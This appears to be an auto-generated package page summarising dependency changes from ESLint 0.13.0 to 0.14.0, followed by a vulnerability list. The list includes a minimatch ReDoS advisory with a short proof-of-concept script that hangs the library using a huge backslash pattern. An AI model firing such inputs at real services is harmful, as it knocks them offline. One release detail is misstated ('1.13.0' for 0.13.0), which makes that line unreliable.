ESLint version 0.14.0 introduces several updates and refinements compared to its predecessor, version 0.13.0. Developers upgrading to 0.14.0 will find that the core JavaScript parsing engine, espree, has been bumped from version 1.7.1 to 1.8.1. This likely incorporates bug fixes and potentially new ECMAScript feature support, improving parsing accuracy. The globals package, which defines well-known global variables, jumps from version 5.1.0 to 6.1.0, indicating an updated list of recognized globals which can prevent false positives. escope, the scope analysis tool, sees a minor update from 2.0.3 to 2.0.4.
In the development dependencies, version 0.14.0 brings several changes, notably an upgrade to browserify from version 8.1.0 to 8.1.3. Also eslint-tester gets updated from version 0.5.0 to 0.6.0 and a new dependency esprima-fb":"^10001.1.0-dev-harmony-fb" appears. These updates suggest improvements in testing and potentially better compatibility with different JavaScript environments and dialects, including Facebook's variant of JavaScript's and newer features. While seemingly minor, these dependency updates can affect build processes, testing workflows, and the overall developer experience, potentially streamlining project setup. Developers should review their configurations to ensure compatibility with the new dependency versions. Keep in mind that version 1.13.0 was released on January 24th, 2015 while version 0.14.0 was released on February 7th, 2015.
All the vulnerabilities related to the version 0.14.0 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.